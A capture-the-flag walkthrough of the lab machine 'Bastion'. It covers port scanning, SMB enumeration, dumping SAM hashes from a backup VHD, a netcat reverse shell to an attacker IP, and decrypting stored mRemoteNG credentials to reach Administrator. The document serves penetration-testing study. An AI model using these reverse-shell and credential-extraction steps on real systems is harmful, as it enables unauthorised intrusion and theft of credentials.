The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard
Bastion/Scans
extractPorts allPorts
ExtractPorts Output
Bastion/scans
[+] Extracting information... [+] IP Address: 10.129.235.42 [+] Open Ports: 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670[+] Ports Copied to Clipboard
Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Tue Jan 21 18:09:08 2025 as: nmap -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sCV -oN targeted 10.129.235.42Nmap scan report for bastion (10.129.235.42)Host is up (0.21s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)| ssh-hostkey:| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.047001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPCService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time:| date: 2025-01-21T17:10:09|_ start_date: 2025-01-21T16:57:55| smb-os-discovery:| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)| Computer name: Bastion| NetBIOS computer name: BASTION\x00| Workgroup: WORKGROUP\x00|_ System time: 2025-01-21T18:10:08+01:00| smb-security-mode:| account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode:| 3:1:1:|_ Message signing enabled but not required|_clock-skew: mean: -19m59s, deviation: 34m35s, median: -1sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Jan 21 18:10:15 2025 -- 1 IP address (1 host up) scanned in 67.62 seconds
22 - SSH
OpenSSH Version โ v7.9
Banner Grabbing
The Version of the Service running can also be obtained via Banner Grabbing as follows โ
> Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin Backups Disk C$ Disk Default share IPC$ IPC Remote IPCReconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- -------
And now we are able to list certain shared resources
But we do not see the permissions we have on those resources. Therefore, we can use netexec or smbmap to accomplish this task
Try "help" to get a list of possible commands.smb: \>smb: \> ls . D 0 Tue Jan 21 18:46:44 2025 .. D 0 Tue Jan 21 18:46:44 2025 aRHbwuiopS D 0 Tue Jan 21 18:27:13 2025 frxwBaOdmQ D 0 Tue Jan 21 18:27:32 2025 note.txt AR 116 Tue Apr 16 12:10:09 2019 NREJFPIUQV D 0 Tue Jan 21 18:45:32 2025 SDT65CB.tmp A 0 Fri Feb 22 13:43:08 2019 TXWVDQEFPB D 0 Tue Jan 21 18:40:24 2025 WindowsImageBackup Dn 0 Fri Feb 22 13:44:02 2019 YEFoKsCRer D 0 Tue Jan 21 18:46:44 2025 5638911 blocks of size 4096. 1177306 blocks availablesmb: \>
Remember that, for resources with a large file structure, it may be more convenient to use netexec and its spider_plus module or smbmap
Regardless of the SMB enumeration tool used, there is a note.txt file and a WindowsImageBackup directory
Mounting via CIFS (SMBv1 Implementation) a Remote Shared Resource
Since the above directory usually contains Windows Backups/Images, being large files, we will mount the Backups shared resource locally to inspect it properly instead of download it
Bastion/evidence/data
mkdir bastion_backups
Bastion/evidence/data
mount --types cifs --options username='anyRandomUser',password='' //10.129.235.42/Backups bastion_backups
One mounted, we can use tree to get an overview of the file structure
The first thought I have, as the Windows Host is not booted, is to obtain the SAM and System registry files
With both files, we can extract the NTLM Hashes from the SAM using tools such as secretsdump.py or samdump2
INFO
Note that it is always necessary to extract, in addition to the SAM file, the SYSTEM file as it contains the Boot Key used to encrypt the NTLM Hashes inside the SAM file
Therefore, letโs verify the path of both files inside the VHD
secretsdump.py LOCAL -outputfile hashes -sam SAM -system SYSTEM
Hashes.sam
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companiesTarget system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25fDumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::Cleaning up...
Having those hashes, we can apply Pass-the-hash or try to crack them offline using hashcat or john
Maybe it also can be done using these websites โ
Instead of use 7z to extract the data stored inside a VHD file, we can use guestmount to mount a Virtual Disk, such as a VHD or VHDX, in a local directory
SMB 10.129.235.42 445 BASTION [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)SMB 10.129.235.42 445 BASTION [+] Bastion\l4mpje:26112010952d963c8dc4217daec986d9
Unlike the other one, this one is valid
Remember that the port 5985 related to WinRM is open, but netexec did not report the Pwned message, so this user may not belong to the Remote Management Users group
We list again the available shares but this time authenticating as the above user to check if it has other type of permissions on those folders
[+] IP: bastion:445. Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin Backups READ, WRITE C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC
It has the same type of permissions that prior authentication
Since this user doest not have write permission on the ADMIN$ or C$ shared folders, we cannot use psxec.py from Impacket to upload an executable that creates a service on the target to be able to execute commands and receive their output
Note that there is an OpenSSH server listening on Port 22. Letโs try to crack these hashes and get a valid password to try to log in as the above user via SSH
Cracking NTLM Hashes
Extract NTLM hashes from the hash.sam file
Bastion/evidence/data
awk -F: '{ print $4 }' hashes.sam > hashes
Then, use hashcat to try to crack them as follows โ
Once download, from the attacker again, set a listener with nc and wrap the reverse connection using rlwrap to get a more interactive PTY/TTY
Bastion/evidence/data
rlwrap -CaR nc -nlvp 443
And execute the nc.exe as follows from the target to send a powershell instance โ
.\nc.exe -e powershell.exe 10.10.16.34 443
And Boom! We have an interactive shell to properly inpect the target. The only thing we cannot do is C-c
We could use ConPTYShell, but it only works from Windows 10 or Windows Server 2019, and this machine is a Windows Server 2016. So, just be careful ๐
By the way, we can get the non-privilege flag
Get-Content C:\Users\l4mpje\Desktop\user.txt
Privesc
Initial Non-Privileged User โ L4mpje
mRemoteNG - Credentials Extraction
Once we are in as L4mpje, we do not find nothing interesting in C:\
The same applies to the C:\Users\l4mpje directory
Although, if we take a look into C:\Program Files (x86) directory, there is an unusual program folder โ mRemoteNG
This is a software used as a remote connection manager
Therefore, I guess that it stores credentials related to existing or saved connections somewhere
Doing some research, we found the following article where they mention a XML configuration file which stores the password credentials of saved connections
This file is usually located in โ %APPDATA%\mRemoteNG
Therefore, letโs try to find this file in the target system โ confCons.xml
Inpecting that file, the passwords are stored in base64. But, if we try to decode them, it seems that they were encrypted
Therefore, we need to know several things such as โ
Symmetric Encryption Algorithm used
Symmetric Encryption Key
IV or Nonce
Whether a Key Derivation Function has been applied on the symmetric encryption key, and if yes, which one has been used
And we may need to know more data depending on the algorithm used
By following this other article, we get all the information we need
First of all, the default master key used is mR3m
A PBKDF2-SHA1 function is applied on the above key to generate the symmetric encryption key
After that, the password is encrypted through AES-GCM using the derivated master key and an IV or Nonce
Then, two values are generated, the encrypted password and a Tag used to validate data integrity
The above two values together with the IV and the PBKDF2-SHA1โs Salt are concatenated and base64-encoded
Note that this process applies for mRemoteNG 1.75v or newer. If we inspect the content of the C:\Program Files (x86)\mRemoteNG directory, we find a changelog.txt
The last entry in this file correponds to 1.76.10v, so we know that the software installed on the target is newer than the 1.75v
Thus, since we have the confCons.xml file, we can try to decrypt the stored passwords using mR3m default master key
To perform this task, just follow the steps of the referenced Github repository and run the script as indicated โ
SMB 10.129.136.29 445 BASTION [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)SMB 10.129.136.29 445 BASTION [+] Bastion\Administrator:thXLHM96BeKL0ER2 (Pwn3d!)
Here we go! From here, we have several ways to connect to the remote machine since we are Administrators and the WinRM Port is listening
SSH
As we have done earlier with the L4mpje user, the SSH service is listening in the target, therefore, we can use the SSH client to establish a connection and log in as the Administrator user
Being Administrator makes that we have write access on standard SMB shared folders such as ADMIN* or *C\
Thus, we can gain access to the machine via SMB using psexec.py tool from the Impacket suite
Remember that this tool takes advantage of the write permissions on the ADMIN$ folder to upload an .EXE file that creates and starts a service to be able to execute remote commands and receive their output